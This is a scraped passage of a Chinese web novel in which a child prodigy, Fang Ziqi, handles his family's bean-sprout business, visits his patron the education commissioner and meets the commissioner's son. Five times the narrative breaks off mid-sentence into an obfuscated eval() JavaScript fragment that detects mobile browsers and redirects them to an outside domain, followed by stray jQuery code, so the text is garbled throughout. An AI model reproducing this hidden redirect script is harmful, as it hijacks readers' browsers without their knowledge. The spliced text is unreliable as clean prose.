去哪能找到这种高报酬的营生? 所以他们对此很知足! 每次苏静姝要给他们拿提成的时候,都千恩万谢的。 尤其是他三婶王氏。 明明之前最是斤斤计较了。 但是现在仿佛又成了最豁达大方的一个人。 “二嫂!” “这芽菜都是你们发的。” “啥事都是你们干的!” “我同你三弟就是出去溜达一圈,好卖得很!” “就这,一天你给我一百文绰绰有余了!” “还老是给两百文!” “太多了!” “之前那红烧肉的营生也是二嫂你给我们的,现在这芽菜又是二嫂你给我们的!” “这大恩我们都不知道怎么还了……” 三婶王氏红着脸,想要少收些钱。 “给孩子买些肉吃也是好的!” “更何况现在爹娘也同你们合租。” “你们平日里照顾爹娘自然多些。” “这都让我们省了多少心了!” “这银钱该怎么算,就怎么算!” “不过你们也要留点心!” “看看市面上有没有其他家的芽菜冒出来。” “万一要是被旁人研究透了这芽菜的买卖。” “恐怕这以后的芽菜就不好卖了。” “挣钱,也就这段日子。” 苏静姝叹气道。 要是能长年累月地做芽菜这买卖就好了。 这可是暴利啊! 所有的成本加一起,一斤芽菜三文钱,卖出去十文钱,苏静姝拿五文,剩下两文是三叔三婶他们的提成。 现在方家每天发芽菜基本上都在三百斤往上。 按照一斤芽菜五文钱的利润算,这一天就是一千五百文铜钱入账! 因为买卖芽菜大多用的铜钱,所以这每天都有大量的铜钱被运送到方家。 方子期时常能听到他爹娘躲在屋子里数钱…… 那铜钱哗啦啦的声响,像是这世间最美妙的音乐。 听着。 很上头! 而他爹娘又懒得将铜钱拿出去兑成银子。 所以方子期估摸着这铜钱都堆成小山了…… 每天看着这成山的铜钱,对于苏静姝而言,也是一种心理安慰。 大家都将日子往好了过! 才是真的好! “汪!” “汪!” 刚过午时。 阿黄带着吉祥从外面溜达回来。 阿黄还是一如往日般老成持重,每次一见到方子期,那尾巴就要变成螺旋桨,舞动地那叫一个积极。 至于吉祥…… 这家伙也不知道在哪滚了一身泥巴回来。 此刻非要往方子期身上扑…… 方子期一把抓住狗头,直接扔到了盛满水的盆中。 “阿黄回来了?” “来!” “过来吃饭!” “今天给你们母子俩留了不少油渣!” 苏静姝笑眯眯道。 自从方家的日子好过之后。 连带着阿黄和吉祥的伙食都提升了不少。 这种静谧的日子,在郎朗的读书声中,悄然而逝……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244301|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>倒是别有一番风味。 另外…… 前线也跟着传来了一些消息…… 说是晋王的左骑军打了大胜仗,传得神乎其神的,说是那个叛军头领黄角都**了…… 但是又有人说,其实打的是败仗…… 消息真真假假…… 这里又不是禾阳县或宁江府,方子期的消息来路属实不多。 值得一提的是。 孙员外那边瞅准机会,在墨香街上开了个卖笔墨纸砚的铺子。 开之前,孙员外特地还来找方子期拿主意。 “子期。” “现在这买卖是真难做。” “竞争对手多不说。” “而且百姓们身上也没什么钱。” “我本想开个饭馆,但是想想现在这粮价,百姓们都吃不饱,哪来的闲钱下馆子?” “又想着开个客栈,毕竟现在这省城里面人来人往的,但是又不敢大肆投资……” “哎!” “这省城感觉也不保险!” “子期你之前提醒过,说是不能置业,能租就租……” “但是这整日里没个进项也不行。” “若是放印子钱…又没个背景,根本玩不转……” “现在这买卖……要么就像子期你家这样的,能弄出芽菜这种独一无二的东西来。” “要么就是在省城有通天背景的。” “否则是真的寸步难行啊!” “在墨香街开这个铺子,我也是思来想去的。” “毕竟这周边读书人多……” 孙员外说了一大通。 显然最近这段时间,他也想了很多赚钱的主意。 但是发现在省城还真是寸步难行。 “在这里开一个卖笔墨纸砚的铺子倒是没什么问题。” “虽发不了大财,保持个稳定收入还是容易的。” “到时候可以多搞一些活动……” “比如买书就赠笔墨纸砚其中的一样。” “或是某些东西搭配着捆绑卖出去能够打折。” “又或者…可以给顾客们弄一个身份牌……” “消费多少银子,就能获得什么级别的身份牌,然后等级越高的身份牌打的折扣就越多。” “诸如此类。” “一定要有新意。” 方子期简单提点道。 第154章 大宗师:子期当为忠君楷模 这些话对于方子期而言不过是随口一提。 但是对于孙员外而言,那就是醍醐灌顶! “生意…还能这样做!” “好!” “极好!” “子期!” “你果真聪明绝顶啊!” “果然!” “这书读得好,做什么都行!” “子期!” “等这书铺开起来,有了营收,子期你拿一成利!” 孙员外笑着道。 他就是来送钱的。 方子期自然不愿意收…… 怎可平白拿人钱财? 他又没出资。 但是孙员外那倔强劲搞得方子期颇为头疼…… 硬要说以后每月都要给方子期送红利。 说实话。 做商人能做到孙员外这个份上,也算是独一份了。 上赶着送钱…… 而且还一副生怕钱送不出去的样子。 来到省城的一个多月后。 那位柳大宗师终于来了消息。 “我家大人今日方归。” “邀方小相公明日去见面。” 柳府的管家特地登门道。 “请管家告知老师!” “明日子期必定前往。” 方子期拱手道。 管家也点点头,同时不由得对方子期多留意了一眼。 要知道他家老爷一回来就找他询问,是否有一个叫方子期的人来找过他…… 若非老爷询问,他还真忘了这一茬…… 等管家离开后。 方仲礼和周夫子连忙走了过来。 “子期!” “可是大宗师回府了?” 方仲礼道。 “是的爹!” “邀我明日过去呢!” “应该是说让我入省学之事。” 方子期点点头,随即目光看向周夫子。 “夫子。” “您要不要也去省学进修一下?” 方子期询问道。 如若周夫子也要去省学,刚好明日一起说了。 反正一份人情是欠,两份三份亦然。 “我就不去了。” “我现在缺少的不是进学之道。” “而是……” “参悟。” 周夫子玄之又玄道。 方子期点点头。 确实。 周夫子这种半步举人,学问自然是不差的。 而且中了那半步举人后,又读书这么多年。 哪怕是省学中的夫子…恐怕学问也不见得比周夫子高。 毕竟…… 省学之中也并非所有的夫子都是进士,还是有很多举人夫子的。 府学的夫子门槛是中过乡试副榜的半步举人。 而省学夫子的门槛则是举人。 次日一大早。 方虎就驾着车,送方子期去了柳府。 方子期来到门口,对门房说明来意后,就被带进去了。 等了约莫一刻钟左右,方子期就听到一阵沉闷的脚步声。 “子期!” “来了!” “坐吧!” “不要拘礼。” 柳承嗣显然晚上没有睡好,眼睛通红,脚步都有些虚浮,脸上挂着倦意。 “老师。” “可是学生打搅到您休息了?” “实在是学生的罪过。” 方子期当即躬身道。 “与你无关。” “只是最近发生的事情多了些罢了。” “哎……” “战事糜烂啊!” 柳承嗣重重地叹了口气。 方子期目光一闪…… 随即戳着耳朵听着。 柳承嗣可是正四品的汉江省学政,他所能够知道的高层消息自然是最精准的。 而现在方子期最需要的,也就是这些消息。 “老师。” “前些日子不是说左骑军大捷吗?” “还说叛军首领黄角都在阵前被斩杀……” 方子期连忙接话道。 “大捷?” “呵!” “伤敌三千,自伤一万的大捷吗?” “笑话!” “那一仗……” “就是在宁江府打的。” “左骑军出兵五万同十万叛军打了一场。” “战斗刚一开始,就败了。” “左骑军**了千余人后,直接就全线崩溃了。” “在逃跑中,被踩踏死的士兵…数以千计!” “自此之后。” “左骑军直接龟缩入城,不愿意同叛军决战了。” “叛军短时间内倒也对那些龟缩起来的左骑军也没办法就是了。” “眼看着又入冬了,这战事才稍歇。” “不过等来年开春……势必还是要再打的。” “其实左骑军兵甲齐全,训练也不曾落下,战斗力是有的。” “但是领军的将领生怕左骑军受损太大,稍有战损就鸣金收兵……” “这种军队,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244302|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打什么胜仗?” “难道就靠着这样的军队来保境安民!来报效朝廷和陛下的吗?” “要我说!” “这私军就是我大梁朝的毒瘤!” “若是朝廷部队,岂会如此贪生怕死、瞻前顾后的!” 柳承嗣当即骂骂咧咧的。 表面上骂得是左骑军的统兵将领,但是实质上不就是在吐槽那位晋王殿下出工不出力吗? 看到柳承嗣骂成这个样子,显然是憋了许久了。 恐怕在其他人面前,柳承嗣也不敢如此放心大胆地谩骂,但是在方子期面前就不一样了。 方子期毕竟只是个平平无奇的小秀才,而且才八岁……在方子期面前吐吐苦水,倒是不怕被宣扬出去。 “老师。” “这汉江省不是晋王的封地吗?” “若是汉江省被叛军夺了去,晋王基业何存?” “晋王殿下哪怕是为了保住自己的基业,也应当将叛军赶走啊……” 方子期询问道。 “呵!” “那位的心思,此刻早就在京城了!” “同那储君之位比起来,一个汉江省,算得了什么?” “只要这通衢府不被叛军夺走就是了。” “至于其他府城会变成什么样子,又有何干系?” “呼!” “子期!” “今日我说得多了。” “这些话,出了这个门,切莫再提了。” “对你不好。” 柳承嗣揉了揉胀痛的脑袋道。 “是,学生遵命。” “老师。” “陛下…龙体尚安否?” 方子期赶忙询问道。 这位老皇帝噶不噶,事关大梁朝这最后一丝国运能不能稳住。 “哎……” “还是老样子。” “子期!” “你有心了!” “虽距京城千里之遥,亦挂怀陛下之龙体!” “此乃吾等臣民之本分!” “若是我大梁朝的臣民都能如子期这般,一心只在意圣上之龙体安危!一心扑在忠君爱国之道上!何愁我大梁朝不兴?何愁叛贼不亡?” “只可惜……” “这天下诸公……” “又有几人能做到子期这般……” “非但将忠君爱国挂在嘴边,亦竭力付诸于实践……” “悲乎哀哉!” 柳承嗣突然怅然若失道。 第155章 生子,当如子期也! 方子期有些懵…… 好家伙…… 我纯粹地就是想知道老皇帝啥时候噶…… 这样我也能早做准备。 怎么到你这里,就变成了忠君之表率了。 这夸得,方子期都有些汗颜了。 “老师谬赞了。” “如老师所言!” “忠君爱国,实乃吾等臣民之本分!” “实无什么可以赞誉之处。” “依老师所见……这叛军一时半会还难以覆灭?” 方子期顺着柳承嗣的话继续说。 “嗯!至少年内很难缓解了。” “维持现状就不错了。” “左骑军指望不上,只能等待王师到来了。” “只是现在天寒地冻的,也难以开战。” “我入城时,见城外**了大量流民。” “这个冬天,怕是不好过了。” “哀民生之多艰!” “子期!” “生逢乱世!” “吾辈读书人,更应砥砺前行才是!” “近些日子,可曾好好读书?” 柳承嗣开始进入正题。 随即考教了方子期几个问题。 方子期恭敬地执弟子礼,一一作答。 “不错!” “现如今,也唯有子期能稍缓我之哀痛。” “先前同你说的,前往省学读书之事,可曾考虑好了?” 柳承嗣主动提及了此事。 “老师,学生此行正为此事!” “之前在府学,藏书诸多,学生受益匪浅。” “家中书籍,终究比不上府学省学。” “还望老师代为引荐。” 方子期直截了当道。 当你还不曾成名时,多承受一些大人物的恩情,这并非是坏事,反倒是能够极快地拉拢彼此之间的关系。 方子期顿悟,他不知何时居然也成了孙员外。 “嗯!” “子期!你能如此关心读书之事!甚好!” “孺子可教也!” “我已经为你写了一封引荐信。” “持此信前往省学刘青芝刘教授。” “他自当会为你处置好的。” “我已言明,让你同你父亲一起入省学。” “子期!” “朝廷当下内忧外乱,正是吾辈读书人好好读书,忠君报国之关键时刻!” “为大梁的河清海晏而努力读书!” “后年的乡试上,为师希望你同你父,皆能蟾宫夺桂!金榜题名!” 柳承嗣勉励道。 “是!” “请老师放心!” “学生定当不辜负您之期望!” 方子期一脸郑重道。 “嗯!” “若无事。” “子期你就先回去吧。” “对了。” “上次你送来的红烧肉滋味甚好。” “后来我遍寻宁江府各大酒楼,皆无此味。” 柳承嗣突然感慨了一句。 “老师若爱吃。” “学生以后日日送来就是。” “此红烧肉乃是家母有秘法烧制而成。” 方子期连忙上前道。 “额……” “日日送来,倒也不必。” “好吃的东西吃得多了,倒是失了其中趣味。” “一月送一次就好。” 柳承嗣的脸色微微有些晕红。 砰…… 正当此时。 书房的大门被粗鲁地撞开。 一个约莫**岁的孩童身穿锦帽貂裘冲了进来。 “爹!” “后厨有红烧肉!” “真好吃!” “跟我之前在宁江府吃的一模一样!” 海通兴奋地直招手! 柳承嗣愣了一下,随即目光看向方子期。 “学生来时,家父和家母特地让学生带上的。” “老师家中定当什么都不缺。” “思来想去,也就只能送来些吃食了。” “还有些许芽菜,亦是家母用黄豆发出来的,供老师品尝。” 方子期色愈恭、礼愈至! 柳承嗣忍不住多看了方子期几眼。 随即悠然一叹道:“子期!你有心了!” 柳承嗣看着方子期如此谦逊懂事的样子,一阵恍惚…… 同样是八岁的孩子。 他这幼子就像是个未开化的顽皮猴子…… 而子期呢?言行举止已有大家风范。 他这幼子,现如今连三字经百家姓这些尚且还无法做到知其本意。 而子期已经连中三元,有了秀才功名。 生子,当如子期也! 柳承嗣心中暗自想着,随即颇为不耐地瞪了一眼自己的幼子柳允昭。 “你整日就知道吃!” “你就不能同你子期哥哥好好学习如何读书吗?” 柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244303|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承嗣没好气道。 因他这幼子是腊月生辰,所以方子期虽同他一样岁数,但还是比他大月份的。 “子期?你就是方子期?” 柳允昭忍不住看了一眼方子期,双目中不由得露出惊惧之色。 方子期:“……” 我是什么熊首人身的黑熊精吗?还能吓唬小孩? 柳允昭一想起来他爹最近只要一看到他,就要揍他一顿。 而每次揍他的时候,嘴里都要念念有词…… 说什么子期出身寒门!狗窝求学!八岁就能高中院试榜首! 你个兔崽子从小锦衣玉食不曾断过,为你请的最好的老师,用的最好的笔墨纸砚,各种书籍任你挑选,怎么到现在连三字经百家姓这些都不曾完全熟透! 总而言之。 最近他爹打他的次数是越来越多了。 而这一切的根源! 都是因为一个叫方子期的人! 所以……柳允昭虽然之前未曾见过方子期,但是已经将这个名字记在骨髓中了! “子期拜见小少爷。” 方子期拱拱手道。 眼见着梦中的恐怖人物向他行礼,柳允昭当即跳起身来,连忙摆手。 “不敢不敢!” “子期…兄……” 柳允昭红着脸反过来像模像样地拱手道。 “我爹说你是大梁第一神童!” “子期兄,你可真厉害。” “就因为你,我爹现在每天看到我都不爽。” “时不时的就要揍我一顿。” 柳允昭瘪着嘴巴道。 方子期:“……” 原来如此…… 怪不得这小子听到他的名字那般惊慌。 “你这小子!” “胡言乱语些什么!” “子期!” “此乃我幼子柳允昭!” “与你同岁,腊月生辰,应当比你小月份。” “以后你们可得多多亲近才是。” “最好…帮我管管这小兔崽子!” “我不指望他将来能够在乡试会试上大放异彩。” “但…作为我柳承嗣的儿子,总要有个正儿八经的功名吧!哪怕中童生秀才也好……” “但这小子,天生就不是读书的料……” “都已经连续气走了数位夫子了。” 柳承嗣一说到此处,顿时就青筋暴突。 太气人了! 第156章 宁为农家子,不当官宦人 “额……老师不必忧心。” “我观小少爷果敢机智,聪颖异于常人。” “现如今恐怕也只是少年贪玩的心性罢了。” “小少爷是否除了读书,其余诸事,皆能精通?” 方子期反问道。 “嗯?” “子期你要这么说,的确如此,除了读书不行,其他样样都行!” “尤其是捕捉知了、雪中抓兔……更是内行!” “子期,照你所言,这小子读书也不是不行,就是不用功是吧?” 柳承嗣再度询问道。 同时,这位柳大宗师已经在想着,以后是不是该多请自己这宝贝儿子吃几顿竹笋炒肉了。 不打不成才啊! 柳允昭见他父亲用异样的目光盯着他,不由得打了个寒颤。 这眼神他太熟悉了。 要完犊子了! “咳……” “老师。” “小少爷当下是少年天性。” “毕竟能在老师您的庇护下,小少爷能够无忧无虑地成长。” 方子期点头道。 柳承嗣张了张嘴,本想说这兔崽子同子期你比差得太多了…… 但是仔细一想,农家子早当家,也是迫于无奈啊。 他当年,又何尝不是如此? “子期,你就别总是少爷少爷地叫着这小子了。” “若你看得起这小子,叫他一声允昭就好。” “将来…说不得这小子还要靠你庇佑呢!” 柳承嗣笑着道,他是有意让自家幼子同方子期交好。 两人既是同龄,自然也有共同语言。 而且从柳承嗣的角度去看。 方子期未来之前途,不可限量也! 更难能可贵的是,方子期知恩图报,心性纯良!而且现如今才八岁! 未来……大有可为! “如此……” “子期就僭越了。” 方子期点点头,倒也没再拒绝。 一个称呼罢了。 柳承嗣特地提及此事,想必也是希望他能同柳允昭正常交往。 对于此,方子期并不反感。 柳承嗣助力于他,他助力于柳承嗣的儿子柳允昭…… 这本就是一种传承。 自古以来。 除了父子关系,也就这师生关系最牢靠了。 至于这学生同老师的儿子之间的关系,若是相处得到好,很多时候也不亚于一边的堂兄弟、表兄弟。 上午。 方子期在柳承嗣的恳求下,带着柳允昭读书…… 不得不说。 这柳允昭还真是除了读书不可外,其余皆可…… 哪怕是在院子里,这小子都要闹腾着翻几个跟头,活力四射! 但是只要看到书,小脸瞬间就垮了,如丧考妣! “子期兄……” “不行了,我真不行了。” “别念了。” “我这头快要炸了!” “哎!” “子期兄,你说我爹也真是的,明知道我不是读书这块料,天天撺掇着让我读书干什么?” “我看到这书,就想吐……” “真的!子期兄!” “反胃!特别反胃!” “我爹喜欢教人读书,那教子期兄你这样的喜欢读书的人读书就是了。” “为什么要折磨我啊!” “子期!要不咱俩换换?你来我家给我爹当儿子,我去你家给你爹当儿子……” “农家子多好啊,天天都能在外面玩……” 柳允昭掰扯着手指头,在那里轻叹道。 方子期:“……” 这不是纯纯的地主家的傻儿子吗? 没想到柳大宗师英明一世,养的儿子居然这般淡泊名利! 对功名利禄、钱财富贵丝毫不以为意,反倒是向往乡村那山水之间的野趣。 方子期很想说…… 你若真这么干。 那你爹寒窗十年不是白熬了? 又给熬回去了? 八岁的孩子…… 当真天真啊! 脑子里面想的也都是些不切实际的东西。 农家子? 到时候你连饭都吃不饱,整日里挨饿受冻的,看你还在这矫情呢! 有些事情,唯有经历过、体验过,方才知其中真理。 不外如是。 中午。 方子期是在柳大宗师家里吃的饭。 饭桌上。 这位柳大宗师又问起了柳允昭学习之事…… 方子期能怎么说?我能说你儿子一心只想回你老家当农夫吗? “老师。” “允昭聪慧过人!” “若能好好调教,收其心,将来必大有成就!” 方子期一本正经道。 这话也没错啊。 柳允昭确实也不笨。 再加上如此家庭底蕴的支持下,但凡要是愿意读书,考个秀才举人…不是很简单吗? 毕竟…… 血脉传承在那。 这柳大宗师可是二甲进士出身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244304|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但基因再好,不学也没办法啊。 毕竟这柳允昭再聪颖,也不可能如方子期这般,看几遍书就能记住吧? 下午,方子期就归家了。 出去的时候,看到方虎还和大青骡蹲守在那,方子期倏然一惊。 坏了! 将虎叔给忘了! “虎叔!” “还没吃饭吧?” “我们快些去吃饭……” 方子期连忙道。 “吃过了子期。” “里面的管家送了饭来。” “说是你在里面陪小少爷读书,暂时出不来。” “子期!” “这小少爷可是大宗师的儿子?” 方虎随口询问道。 “是的虎叔。” 方子期点点头道。 “啊?那此子可有欺辱慢待你?” “我听说那些个世家公子哥都不是什么好东西。” 方虎当即就急了。 “虎叔。” “放心吧。” “此子还只是个孩子呢!” “一心贪玩,不愿读书罢了。” “所以大宗师想着让我劝一劝。” “但是江山易改本性难移啊!” 方子期摇摇头轻叹道。 坐着骡子车,不多时,就归家了。 归家的时候…… 他三叔三婶刚好来了。 “子期回来了!” 方叔信笑着打了个招呼。 他三叔一直这样,话不多,平日里也只知道闷头干活,平生所愿就是多种地,多打粮食,少去岳丈家当老黄牛。 至于他三婶…… 话就密了。 “子期!” “这是从哪回来呀!” “看着风尘仆仆的……” “可曾吃了?” “三婶特地给你买了些糕点,这是酥香坊的糕点,味道可好了!” 三婶王氏一脸热情地同方子期说着话。 “三叔!三婶!” “只是去我老师那拜见了一下。” “他中午留我吃了饭,现在肚子还是撑的呢!” 方子期随口道。 “老师?” “子期!你什么时候在省城拜师了?” 三婶王氏愣了一下,也没听说啊! “就是那位柳大宗师家里!” “今日子期陪着大宗师的儿子读了一上午书,所以我们这才回来。” 这个时候,方虎从外面走进来道。 “大宗师?” 三婶王氏一双眼珠子瞬间亮堂起来。 第157章 我的门生故吏,遍布我家 三婶王氏现在也不是那般一无所知的妇人了。 家里面出了这么多读书人,多多少少还是知道些的。 至少她就知道这大宗师是大官! 据说知府大人见了,都要毕恭毕敬的呢! 这子期居然能做这种大官的学生!而且还能陪着这等大官的儿子一起读书! 这代表了什么? 仅次于天子门生了啊! 一时间。 三婶王氏对方子期显得更殷勤了。 脸上时刻挂着笑容。 心中甜丝丝的。 毕竟! 这子期是他家侄儿啊! 方家老祖宗开眼了! 这等好侄儿!可不能慢待了!定要笼络好了! 眼看着他三婶那张脸都快要贴上来谄媚了,方子期大呼受不了啊! 现在突然感觉以前那个精明喜欢算计的三婶也不错…… “子期!” “你可算是回来了!” 这个时候。 屋内走出来几个人。 方子期定眼一看…… 好家伙…… 居然是他二姑父陈景行和二姑方秀云! 刚才说话的就是陈景行。 这两位…… 咋又来了? 方子期愕然的目光横扫四周…… 三婶王氏连忙摆手道:“他们可不是我带来的,刚好碰上了。” 大家都不喜欢二姑方秀云一家。 这是众所周知的事情。 三婶王氏多精明的人啊,岂会犯这种过错。 “额…子期莫要误会。” “我现在在一家粮行做账房,给他们算算账。” “刚好粮行进了一些白面,所以我就拿了些过来,让你娘给你做些面条吃。” 陈景行连忙道。 他今日过来是为缓和关系来的。 他读过一些书,虽无功名在身,但是因家中之前就经营杂货铺,所以在算账上还是比较精通的。 到了省城后,好不容易找到个活计。 方才在屋内他都听到了。 他这侄儿子期居然在学政大人家里待了一上午!还在学政大人家吃了午食! 而且听这意思,已经正式拜了学政大人为老师! 这可是通天的路子啊! 这么粗的大腿!不说抱一抱了,就算是蹭一蹭,那也能在这乱世活得极好了。 就譬如…他现在若是回到粮行说他侄儿做了正四品学政大人的学生,而且常往来于学政大人的府邸,那今后他这账房可就不是临时工了,直接就是正式工了! 谁还敢给他脸色看?谁还敢辞退他? 不看僧面看佛面…… 大家都不傻啊! 还好…… 还好今日不曾听那蠢妇之言,不来拜访! 幸好自己今日咬牙也要拖着那蠢妇,带了白面过来赔罪! 否则这天大的机缘就同自己失之交臂了! 同时。 陈景行突然发现自家娘子蠢一点,也并非完全就是坏事。 至少…… 她不乐意做的事情,那定是好事情!一定是要做的! 有她在自己身边,往往能够给自己避开不少大坑啊! “是啊子期!” “你看你二姑父对你多好!” “这白面,想来你家也很难吃上吧?” “你两个表姐馋那一口白面不知多久了,可你二姑父这个人,就是不顾着家里人……” 方秀云叭叭叭的……又开始说道开了。 陈景行连忙一个凶厉的眼神瞪过去。 这姑奶奶…… 为什么不是个哑巴啊! 用得着你在这里显摆吗? “子期!” “莫要听你二姑废话!” “她脑子素来蠢笨,说话亦不过脑子。” “千万不要同她一般计较!” “她这个人,就是嘴坏了些。” 陈景行一脸讨好道。 “嗯。” 方子期点点头,没多说什么。 这种姑父层面的关系,他爹娘负责交际就好了。 方子期倒是不必过于操心什么。 这个时候,方仲礼和周夫子一起走出。 “爹!” “大宗师给我写了引荐信。” “明日我们就可以去省学上课了。” “不过这年底应当是没多少日子了,估摸也上不了几天课了。” 方子期道。 “都弄好了?” “哎!” “子期!这学政大人可是我家的大恩人啊!” “定要记住恩情的!” 方仲礼点点头,随即叮嘱道。 现在方仲礼同方子期说得最多的话就是要记恩、报恩…… “爹!” “我早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244305|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同你说了,你就负责好好读书就行了。” “什么报恩不报恩的,有我在呢!还用得着你操心?” “对了。” “大宗师对咱们家的红烧肉赞不绝口。” “回头隔三差五的,送一些过去吧。” “还有……” “学政大人想让我经常去他府邸,带着他那小儿子柳允昭一起读读书。” “所以今后我可能要经常往那边跑一跑了。” “届时倒是方便请教大宗师学问上的问题。” 方子期挑挑眉道。 此刻方仲礼还未说话,周夫子就跟着两眼放光了。 “当真如此?” “子期!” “你之气运,果真深不见底啊!” “大宗师可是二甲进士出身!” “有他时常教导于你,你之学问必定能够突飞猛进!” “我这个夫子…倒是成摆设了。” 周夫子苦笑一声,此刻压力更强了…… 他这个半步举人,现在已经拿不出手了啊! “夫子这说得什么话?” “您之学问浩如烟海!” “听您授课,我已习惯了。” “若是您成了摆设,那我这读书之路岂不是真要断了?” “夫子!” “回头你要是有什么问题,也可以告知于我,我届时一并请教于大宗师。” “还有……” “以后大宗师教导于我之学问,我也会回来传授给夫子还有爹……” “大家一起进步,才是真的进步!” “嗯……” “还有砚秋……” “夫子,你现在既来了,回头让砚秋也正常过来听课吧!” 方子期进行着妥当的安排。 反正方砚秋家也在城南租了房子。 来往倒也方便。 “如此甚好!” “那以后…我同你爹就要多多请教子期夫子了!” 周夫子像模像样地拱拱手道。 方子期:“……” 人生无常…… 我的夫子和我爹,都成了我的学生! 我的门生故吏,遍布我家! 三叔三婶一行人倒是没有在方子期家久待。 他们竭尽所能、搜肠刮肚、绞尽脑汁想出了所有能想出来的各种赞誉之言将方子期从头夸到脚后,就离开了。 第158章 入省学,鱼跃龙门 “这是你二姑父带来的。” “足足二十斤白面!” “现在这市面上的白面价格早上天了!” “三十文一斤不说,而且还时常无货。” “这二十斤白面,也要半两多银子了。” “我本不想收。” “但是你二姑父说是要报答咱家的救命之恩。” “我看你二姑那一脸不舍的样子,是真膈应……” “好在你二姑父还算有些脑子……” “子期!” “你说这白面咱家收不收?” “不然还是给他们家送回去吧。” “省得将来你二姑还要拿这事说事。” “咱家现在也不缺这一口吃的。” 苏静姝走到方子期面前道。 现在家里面的大事小事都喜欢询问方子期的意见了。 家有一小,如有一宝! “算了,放着吧!” “你拿回去,他们也不好意思收了。” “以前咱家也给他们拿了不少红烧肉,礼尚往来嘛,倒也是应当的。” 方子期随口道。 “我看啊,他们这是有别的心思。” “他们现在跟你三叔家住在一起。” “想必是看你三叔家每日往来买卖芽菜得了银钱,所以他们也想卖芽菜……” 苏静姝接着道。 “哦?” “他们今日说了此事?” 方子期询问道。 “这个倒是没有。” “你那二姑开了好几次头,都被你二姑父给拦回去了。” “但我瞧着,就是那么个意思。” “子期,你说要不要分一些芽菜让他们家卖?” 苏静姝一边摆弄着手中的芽菜一边道。 “不必。” “现在这芽菜买卖,每天发三四百斤,刚好给大舅二舅、大姑还有三叔他们三家去卖。” “弄多了,也忙不过来。” “暂时就这样吧。” 方子期沉吟道。 “好!” “子期,都听你的。” “对了子期,现在咱们家发芽菜多亏了你虎叔、你江婶还有你大牛哥帮忙。” “我想给他们银钱,他们愣是不收!” “这可怎么办?” “可愁死娘了!” “哎!” “你虎叔是个闷葫芦!” “你江婶更是个倔强性子。” “这不收钱,我怎么好意思让他们整日整夜地帮忙?” “总不能咱家**进斗金的,他们家一枚铜钱不入账吧?” “你虎叔和江婶就是太老实了……” 苏静姝叹了口气,放下手中的芽菜,无奈道。 方子期凛然。 这个世道。 老实人素来是最吃亏的…… 准确来说应当是无论哪个世道,都是老实人吃亏。 老实人啥也不争,就想着拿自己应得的那份,但是很多时候…老实过头了,连你应得的那份都得大打折扣…… “娘!” “既不收钱,就买些礼物吧!” “我看江婶也没什么头饰,你送些银簪子就是了。” “嗯!” “再让爹给虎叔买几坛好酒!” “还有大牛哥身上那衣服,补丁盖着补丁,买些布匹回来送过去。” “总而言之,将那些钱,买些实用的东西送过去。” “等大牛哥回头成亲。” “咱们家也定要多送些喜钱。” “我虎叔和江婶实诚,但是不能让他家吃了亏。” “我虎叔同我家都是过命的关系。” “我都同虎叔说了,将来我若是入了官场,定是要助虎叔沙场立功当将军的!” “到时候虎叔就是我的左膀右臂!” 方子期笑着道。 这话,不是假话。 都是方子期的真心之言。 一味地读死书,肯定是不行的。 就算是上去了,身边没几个贴心的人帮衬,如何能行? 那岂不是如同无根之木般,随时都有可能顺江而下。 “是是是!” “都听我儿子的!” “我儿子最厉害了!” 